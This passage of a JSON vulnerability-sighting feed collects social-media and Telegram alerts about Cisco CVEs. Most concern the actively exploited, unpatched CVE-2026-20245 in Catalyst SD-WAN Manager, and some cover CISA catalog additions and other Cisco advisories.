"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/cyberlensai.bsky.social/post/3mnmgo47ke42l", "content": "CVE watch: Cisco Catalyst SD-WAN Manager CVE-2026-20245 Flaw Actively Exploited \u2013 No Patch\u2026\n\nCheck exposure, dependency, and agent/tool access before panic-patching. Inventory beats vibes.\n\nSource: thehackernews.com\nhttps://thehackernews.com/2026/06/cisco-catalyst-sd-wan-manager-cve-2026.html", "creation_timestamp": "2026-06-06T10:22:39.760971Z"}, {"uuid": "59e4fa93-c647-4b5a-b196-06d36c5468f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mnmrcqhcsc2h", "content": "Cisco SD-WAN Has a New Root-Level Problem, and There\u2019s No Fix Yet\n\nCisco warns of CVE-2026-20245 in SD-WAN Manager, a flaw that can lead to root access via file upload command injection; no patch or workaround yet. Cisco warns of a privilege escalation flaw, tracked as CVE-2026-20\u2026\n#hackernews #news", "creation_timestamp": "2026-06-06T13:33:09.879108Z"}, {"uuid": "5ef81f59-ff29-4156-af58-2553d6b729c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mnmsvyr3qk2p", "content": "\ud83d\udd12 Cisco Catalyst SD-WAN Manager CVE-2026-20245 Flaw Actively Exploited \u2013 No Patch Available\n\nCisco has warned that a high-severity security flaw impacting Catalyst SD-WAN Manager ha...\n\nhttps://tinyurl.com/2bxzrkbs #CyberSecurity #InfoSec #CrustyTLDR", "creation_timestamp": "2026-06-06T14:01:49.514660Z"}, {"uuid": "1cae7cf8-4e0a-4924-82d6-6718b68d2606", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mnn7ipvgsn2s", "content": "Alert: Cisco's Catalyst SD-WAN Manager faces active exploitation of CVE-2026-20245. No patch available yet. Admins should monitor logs and upgrade software. #CyberSecurity #Cisco #SDWAN Link: thedailytechfeed.com/cisco-cataly...", "creation_timestamp": "2026-06-06T17:47:04.254673Z"}, {"uuid": "83c7391c-5b74-44d4-8ad7-13f055bfcfd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3mnnat3watj2p", "content": "Cisco Leaves a Live Exploit on the Floor. Everyone Pretends It\u2019s Fine.\nPANIC 84% | Lag 9.27h | Cisco Catalyst SD-WAN Manager CVE-2026-20245 is actively exploited, and no patch is available yet. T\n#AfterShockIndex\nREAD MORE", "creation_timestamp": "2026-06-06T18:10:44.985805Z"}, {"uuid": "60fdd594-d63e-4740-9058-bf124d802b17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116704606566533106", "content": "\ud83d\udcf0 Actively Exploited Zero-Day in Cisco SD-WAN Allows Root Access, No Patch Available\n\u26a0\ufe0f URGENT: Cisco warns of an actively exploited zero-day (CVE-2026-20245) in Catalyst SD-WAN products. The flaw allows root access with no patch available. Attackers are pushing malicious configs. #0day #Cisco #CyberAttack #Vulnerability\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/cisco-warns-of-actively-exploited-zero-day-in-sd-wan-products/?utm_source=mastodon&u\u2026", "creation_timestamp": "2026-06-06T18:36:15.994442Z"}, {"uuid": "9ef90802-71bb-4182-b9a0-44ef18f68b16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mnncbqxcgt2y", "content": "\u26a0\ufe0f URGENT: Cisco warns of an actively exploited zero-day (CVE-2026-20245) in Catalyst SD-WAN products. The flaw allows root access with no patch available. Attackers are pushing malicious configs. #0day #Cisco #CyberAttack #Vulnerability\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-06-06T18:36:50.710241Z"}, {"uuid": "36a775eb-5d84-4131-9c88-16b4aff61b8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20267", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msdzxrqzrr2l", "content": "CVE-2026-20267 - cisco ios xe software\nCisco IOS XE Software has multiple security weaknesses that can be exploited by unauthorized users. This can lead to unauthorized access or control of the system. Cisco has\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-08-05T17:20:16.748855Z"}, {"uuid": "1ce9541e-d397-4384-b4c8-5745d9241a6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20303", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mse26vdjur2s", "content": "CVE-2026-20303 - cisco catalyst sd-wan controller\nCisco Catalyst SD-WAN software has a weakness in how it checks user input. This means an attacker could potentially manipulate data to cause issues. Cisco has released\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-08-05T17:24:04.645891Z"}, {"uuid": "35ef8a2a-06a4-447c-a16b-6bcd0a487693", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20268", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/117044082167274064", "content": "The severity is increased for this new vulnerability affecting Cisco IOS XE Software (CVE-2026-20268) https://vuldb.com/vuln/386294", "creation_timestamp": "2026-08-05T17:29:21.200946Z"}, {"uuid": "94a33525-f5ae-4853-a4fa-65d1eb87a9a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mnpaeu2xz22h", "content": "Cisco Catalyst SD-WAN Manager CVE-2026-20245 Flaw Actively Exploited \u2013 No Patch Available\n\nCisco has warned that a high-severity security flaw impacting Catalyst SD-WAN Manager has come under active exploitation.\n\nThe vulnerability, tracked as CVE-2026-20245, carries a CVSS score \u2026\n#hackernews #news", "creation_timestamp": "2026-06-07T13:08:06.322496Z"}, {"uuid": "4640d5be-2e3f-41e1-b2cd-00ed2b94b3ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mnpj65hzkp2l", "content": "CISA added SolarWinds Serv-U DoS to KEV with no patch for CVE-2026-20245, while Cisco Catalyst SD-WAN Manager flaws and Android spyware, npm supply-chain abuse, and APT persistence tools were also highlighted. #SolarWinds #Cisco #China", "creation_timestamp": "2026-06-07T15:45:24.673976Z"}, {"uuid": "079eb171-9934-4030-8880-934721e43d89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mnplrje4632q", "content": "Cisco's Catalyst SD-WAN Manager faces active exploits of CVE-2026-20122 & CVE-2026-20128. Update systems now to protect your network. #CyberSecurity #Cisco #SDWAN #NetworkSecurity Link: thedailytechfeed.com/active-explo...", "creation_timestamp": "2026-06-07T16:32:02.095352Z"}, {"uuid": "62070a76-37ee-4573-a871-0431af1a69c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mnplrje4632q", "content": "Cisco's Catalyst SD-WAN Manager faces active exploits of CVE-2026-20122 & CVE-2026-20128. Update systems now to protect your network. #CyberSecurity #Cisco #SDWAN #NetworkSecurity Link: thedailytechfeed.com/active-explo...", "creation_timestamp": "2026-06-07T16:32:02.249526Z"}, {"uuid": "2ff7a74e-1135-41a5-9f4e-cd42326630b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/vritrasec.bsky.social/post/3mnq2y7hp6e2r", "content": "Cisco has warned that a high-severity security flaw impacting Catalyst SD-WAN Manager has come under active exploitation. The vulnerability, tracked as CVE-2026-20245, carries a CVSS scor...\n\n\ud83d\udd17 https://thehackernews.com/2026/06/cisco-catalyst-sd-wan-manager-cve-2026.html", "creation_timestamp": "2026-06-07T21:04:12.724872Z"}, {"uuid": "3297b2be-3cc6-466c-b9d4-de8ee5289caa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mnq7egnxxd23", "content": "Cisco Catalyst SD-WAN Manager\u306e\u8106\u5f31\u6027CVE-2026-20245\u304c\u60aa\u7528\u3055\u308c\u3066\u3044\u307e\u3059 \u2013 \u30d1\u30c3\u30c1\u306f\u63d0\u4f9b\u3055\u308c\u3066\u3044\u307e\u305b\u3093 \n\nCisco Catalyst SD-WAN Manager CVE-2026-20245 Flaw Actively Exploited \u2013 No Patch Available  #HackerNews (Jun 6)\n\nthehackernews.com/2026/06/cisc...", "creation_timestamp": "2026-06-07T22:22:38.095403Z"}, {"uuid": "38d1a5e7-f603-4501-b2fe-fb5f5b70ad6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://infosec.exchange/users/tomcat/statuses/116711661039006545", "content": "\ud83d\udea8 New Cisco SD-WAN vulnerability under active exploitation.\nCVE-2026-20245 lets authenticated netadmin attackers run commands as root via crafted file uploads.\nNo patches or mitigations are available.\nCheck /var/log/scripts.log for IoCs.\nRead: https://thehackernews.com/2026/06/cisco-catalyst-sd-wan-manager-cve-2026.html", "creation_timestamp": "2026-06-08T00:30:21.069691Z"}, {"uuid": "332dac47-8e79-46a4-8eaa-0ce74533297e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/de-nachrichten.bsky.social/post/3mnqwxpbxhe2q", "content": "(Bild: ImageFlow - stock.adobe.com) CVE-2026-20223 mit CVSS 10.0 erlaubt unauthentifizierten Angreifern Site-Admin-Rechte in Cisco Secure Workload. Patches verf\u00fcgbar, SaaS bereits serverseitig korrigiert.", "creation_timestamp": "2026-06-08T05:25:00.806395Z"}, {"uuid": "74c80363-b7ad-4465-845b-0d566886d0e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20301", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/heldjrm7aaluv", "content": "CVE-2026-20301 - Cisco IOS Software and IOS XE Software Extensible Messaging Client Protocol Denial of Service Vulnerability\nCVE ID : CVE-2026-20301\n \n Published : Aug. 5, 2026, 5:16 p.m. | 33\u00a0minutes ago\n \n Description : A vulnerability in the Extensible Messaging Client Prot...", "creation_timestamp": "2026-08-05T17:55:07.279617Z"}, {"uuid": "545fa2c7-2d8b-4b96-a08f-5946c7d74649", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20303", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/6ht2iktbzfgh2", "content": "CVE-2026-20303 - Cisco Catalyst SD-WAN Security Hardening Release - Input Validation Vulnerabilities\nCVE ID : CVE-2026-20303\n \n Published : Aug. 5, 2026, 5:16 p.m. | 33\u00a0minutes ago\n \n Description : As part of Cisco's ongoing commitment to proactive security and product quality...", "creation_timestamp": "2026-08-05T18:01:06.004034Z"}, {"uuid": "b3b56699-cbd3-4df1-810b-00862dce03ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20312", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mse4avokdr2t", "content": "\ud83d\udfe0 CVE-2026-20312 - High (8.8)\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Cataly...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-20312/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-05T18:01:00.068456Z"}, {"uuid": "a28fa7ab-0ecb-4e5a-80d9-976852b45a91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20310", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/czdl4fbd4szpo", "content": "CVE-2026-20310 - Cisco SD-WAN Software Security Hardening Release - Improper Link Resolution Before File Access\nCVE ID : CVE-2026-20310\n \n Published : Aug. 5, 2026, 5:16 p.m. | 33\u00a0minutes ago\n \n Description : As part of Cisco's ongoing commitment to proactive security and prod...", "creation_timestamp": "2026-08-05T18:07:06.562755Z"}, {"uuid": "19c4273a-681d-4587-b547-133985b40f4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20312", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/76v5c3vhzde4z", "content": "CVE-2026-20312 - Cisco Catalyst SD-WAN Security Hardening Release - Information Disclosure Vulnerabilities\nCVE ID : CVE-2026-20312\n \n Published : Aug. 5, 2026, 5:16 p.m. | 33\u00a0minutes ago\n \n Description : As part of Cisco's ongoing commitment to proactive security and product q...", "creation_timestamp": "2026-08-05T18:18:15.121723Z"}, {"uuid": "454f0cda-9590-428c-af2c-ec40ac3ad4a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/arc-codex.com/post/3msvcijxgwg2o", "content": "CVE-2026-20349: Actively Exploited Cisco ASA and FTD Flaw Enables Remote DoS\n\n", "creation_timestamp": "2026-08-12T14:07:54.050688Z"}, {"uuid": "4fd37fec-3f2b-49dd-9d82-3bb9da30532f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20133", "type": "seen", "source": "https://t.me/VulnerabilityNews/42060", "content": "CISA Adds Eight Known Exploited Vulnerabilities to Catalog\n\nCISA has added eight new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\u00a0\nCVE-2023-27351 PaperCut NG/MF Improper Authentication Vulnerability\nCVE-2024-27199 JetBrains TeamCity Relative Path Traversal Vulnerability\nCVE-2025-2749 Kentico Xperience Path Traversal Vulnerability\nCVE-2025-32975 Quest KACE Systems Management Appliance (SMA) Improper Authentication Vulnerability\nCVE-2025-48700 Synacor Zimbra Collaboration Suite (ZCS) Cross-site Scripting Vulnerability\nCVE-2026-20122 Cisco Catalyst SD-WAN Manager Incorrect Use of Privileged APIs Vulnerability\nCVE-2026-20128 Cisco Catalyst SD-WAN Manager Storing Passwords in a Recoverable Format Vulnerability\nCVE-2026-20133 Cisco Catalyst SD-WAN Manager Exposure of Sensitive Information to an Unauthorized Actor Vulnerability\nThese types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.\u00a0\nBinding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.\u00a0\nAlthough BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of KEV Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nhttps://www.cisa.gov/news-events/alerts/2026/04/20/cisa-adds-eight-known-exploited-vulnerabilities-catalog", "creation_timestamp": "2026-08-18T19:00:04.441839Z"}, {"uuid": "02a13e72-4ae3-48cb-b584-4750fbb4b987", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://t.me/VulnerabilityNews/42060", "content": "CISA Adds Eight Known Exploited Vulnerabilities to Catalog\n\nCISA has added eight new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\u00a0\nCVE-2023-27351 PaperCut NG/MF Improper Authentication Vulnerability\nCVE-2024-27199 JetBrains TeamCity Relative Path Traversal Vulnerability\nCVE-2025-2749 Kentico Xperience Path Traversal Vulnerability\nCVE-2025-32975 Quest KACE Systems Management Appliance (SMA) Improper Authentication Vulnerability\nCVE-2025-48700 Synacor Zimbra Collaboration Suite (ZCS) Cross-site Scripting Vulnerability\nCVE-2026-20122 Cisco Catalyst SD-WAN Manager Incorrect Use of Privileged APIs Vulnerability\nCVE-2026-20128 Cisco Catalyst SD-WAN Manager Storing Passwords in a Recoverable Format Vulnerability\nCVE-2026-20133 Cisco Catalyst SD-WAN Manager Exposure of Sensitive Information to an Unauthorized Actor Vulnerability\nThese types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.\u00a0\nBinding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.\u00a0\nAlthough BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of KEV Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nhttps://www.cisa.gov/news-events/alerts/2026/04/20/cisa-adds-eight-known-exploited-vulnerabilities-catalog", "creation_timestamp": "2026-08-18T19:00:04.571341Z"}, {"uuid": "6b375ab6-75db-4e9f-a620-236196d7eb88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://t.me/VulnerabilityNews/42060", "content": "CISA Adds Eight Known Exploited Vulnerabilities to Catalog\n\nCISA has added eight new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\u00a0\nCVE-2023-27351 PaperCut NG/MF Improper Authentication Vulnerability\nCVE-2024-27199 JetBrains TeamCity Relative Path Traversal Vulnerability\nCVE-2025-2749 Kentico Xperience Path Traversal Vulnerability\nCVE-2025-32975 Quest KACE Systems Management Appliance (SMA) Improper Authentication Vulnerability\nCVE-2025-48700 Synacor Zimbra Collaboration Suite (ZCS) Cross-site Scripting Vulnerability\nCVE-2026-20122 Cisco Catalyst SD-WAN Manager Incorrect Use of Privileged APIs Vulnerability\nCVE-2026-20128 Cisco Catalyst SD-WAN Manager Storing Passwords in a Recoverable Format Vulnerability\nCVE-2026-20133 Cisco Catalyst SD-WAN Manager Exposure of Sensitive Information to an Unauthorized Actor Vulnerability\nThese types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.\u00a0\nBinding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.\u00a0\nAlthough BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of KEV Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nhttps://www.cisa.gov/news-events/alerts/2026/04/20/cisa-adds-eight-known-exploited-vulnerabilities-catalog", "creation_timestamp": "2026-08-18T19:00:04.619259Z"}, {"uuid": "7d501d27-d7af-4236-90c2-e4763eb23d1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20184", "type": "seen", "source": "https://t.me/VulnerabilityNews/41989", "content": "Cisco Patches Four Critical Identity Services, Webex Flaws Enabling Code Execution\n\nCisco has announced patches to address four critical security flaws impacting Identity Services and Webex Services that could result in arbitrary code execution and allow an attacker to impersonate any user within the\u00a0service.\nThe details of the vulnerabilities are below\u00a0-\n\nCVE-2026-20184 (CVSS score: 9.8) - An improper certificate validation in the integration of single sign-on (SSO)\nhttps://thehackernews.com/2026/04/cisco-patches-four-critical-identity.html", "creation_timestamp": "2026-08-18T19:00:05.193940Z"}, {"uuid": "c370d6a8-01aa-4cd7-a3e1-d1a9a9678a7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/117083157260089788", "content": "\ud83d\udcf0 Cisco Patches Firewall Zero-Day Exploited for DoS Attacks\nCisco patches an actively exploited zero-day (CVE-2026-20349) in ASA and FTD firewalls. The flaw allows a remote, unauthenticated attacker to cause a denial-of-service (DoS). Patch immediately to prevent network disruption. #Cisco #ZeroDay #CyberSecu...\n\ud83d\udd17 https://cyber.netsecops.io/articles/cisco-patches-firewall-zero-day-exploited-for-dos-attacks/?utm_source=mastodon&utm_medium=social&utm_campaign=daily", "creation_timestamp": "2026-08-12T15:06:40.962171Z"}, {"uuid": "707e51e9-e60f-4f8c-b628-e188da3bc840", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3msvfsivaix2z", "content": "Cisco patches an actively exploited zero-day (CVE-2026-20349) in ASA and FTD firewalls. The flaw allows a remote, unauthenticated attacker to cause a denial-of-service (DoS). Patch immediately to prevent network disruption. #Cisco #ZeroDay #CyberSecu...\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-08-12T15:07:09.754329Z"}, {"uuid": "5ea6480a-f98a-46c0-bbdc-ed880d093951", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/cesnet-certs.mastodonczech.cz.ap.brid.gy/post/3mnrcjaufbzy2", "content": "[[TLP:CLEAR] Cisco Catalyst SD-WAN Manager upozor\u0148uje na 1 zranitelnost]\n\nCisco zaznamenalo omezen\u00e9 zneu\u017eit\u00ed vysoce z\u00e1va\u017en\u00e9 zranitelnosti CVE-2026-20245 vedouc\u00ed ke zm\u011bn\u00e1m konfigurace na koncov\u00fdch za\u0159\u00edzen\u00edch \u2b07\ufe0f. P\u0159\u00edm\u00e1 oprava ani mitigace zat\u00edm nejsou k dispozici. Cisco proto doporu\u010duje [\u2026]", "creation_timestamp": "2026-06-08T08:51:43.128731Z"}, {"uuid": "2b48cf77-8855-47e6-b774-a997659db7b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/exiledev8668.bsky.social/post/3mnrhzfnarg2s", "content": "Cisco SD-WAN Manager CVE-2026-20245 is actively exploited, no patch available. Your compensating controls are doing the work right now, not a future fix.", "creation_timestamp": "2026-06-08T10:30:11.143125Z"}, {"uuid": "a63110ad-d0ba-465e-b440-da6a133c879a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mnrn2eexu22h", "content": "\ud83d\udd0d Top signals this week:\n\nCVEs: CVE-2026-0257, CVE-2026-0826, CVE-2025-48595, CVE-2026-20245, CVE-2026-41089\nActors: Apt, Play, Ransomware\n\nFull intel: https://matlock.ca/cybersecnews", "creation_timestamp": "2026-06-08T12:00:12.569141Z"}, {"uuid": "6c6b0053-469f-4f62-b210-89f87ef9fe5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20049", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mnrvsvyvv62e", "content": "\ud83d\udccc CVE-2026-20049 - A vulnerability in the processing of Galois/Counter Mode (GCM)-encrypted Internet Key Exchange version 2 (IKEv2) IPsec traffic of Cisco Secure Firewal... https://www.cyberhub.blog/cves/CVE-2026-20049", "creation_timestamp": "2026-06-08T14:37:05.837731Z"}, {"uuid": "c847ed3b-94ff-4c9d-884c-a738f2429a88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20452", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/116715069836205793", "content": "https://github.com/Hunt-Benito/mediatek-wlan-heap-overflow-cve-2026-20452-filogic-router-rce\nhttps://github.com/iwallplace/CVE-2026-26898-Xiaomi-SSRF-HostHeaderInjection\nhttps://github.com/minanagehsalalma/cve-2026-34472-auth-bypass-zte-h188a-router\nhttps://github.com/minanagehsalalma/cve-2026-34474-zte-h298a-h108n-sensitive-data-exposure\nhttps://github.com/minanagehsalalma/cve-2026-34473-unauthenticated-dos-zte-routers\nhttps://github.com/minanagehsalalma/cve-2021-21735-zte-zxhn-h168n-admin-compromise\n#internetOfShit", "creation_timestamp": "2026-06-08T14:57:17.253850Z"}, {"uuid": "3b33aaca-aab5-4156-bc14-dacca65c7ff9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mns2gzdubs2y", "content": "5/ \u26a0\ufe0f Two zero-days without patches: Cisco CVE-2026-20245 (SD-WAN Manager, root RCE, ACTIVELY EXPLOITED) and Microsoft Exchange CVE-2026-42897 (XSS, auto-mitigation exists \u2014 confirm yours is on). Neither has a patch yet.", "creation_timestamp": "2026-06-08T15:59:56.426764Z"}, {"uuid": "2dde7793-87a6-47eb-8b68-79dd251e8c54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mns2gzeev22y", "content": "5/ \u26a0\ufe0f Two zero-days without patches: Cisco CVE-2026-20245 (SD-WAN Manager, root RCE, ACTIVELY EXPLOITED) and Microsoft Exchange CVE-2026-42897 (XSS, auto-mitigation exists \u2014 confirm yours is on). Neither has a patch yet.", "creation_timestamp": "2026-06-08T15:59:59.707796Z"}, {"uuid": "8db2e621-dcf9-4ae4-ba1e-aa9e6e576a62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 